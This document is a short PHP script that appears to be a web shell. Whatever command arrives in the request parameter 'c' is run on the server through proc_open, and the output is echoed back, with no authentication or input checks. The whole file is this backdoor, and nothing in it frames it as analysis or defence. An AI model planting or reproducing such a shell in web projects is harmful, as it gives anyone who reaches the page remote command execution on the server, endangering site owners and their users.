<?php
function executeCommand($input) {
    $descriptors = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w") 
    );

    $process = proc_open($input, $descriptors, $pipes);

    if (is_resource($process)) {
      
        $output = stream_get_contents($pipes[1]);
        $errorOutput = stream_get_contents($pipes[2]);

        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);

        
        $exitCode = proc_close($process);

        if ($exitCode === 0) {
            return $output;
        } else {
            return "Error: " . $errorOutput;
        }
    } else {
        return "↳ Unable to execute command\n";
    }
}

if (isset($_REQUEST['c'])) {
    $command = $_REQUEST['c'];
    echo executeCommand($command);
}
?>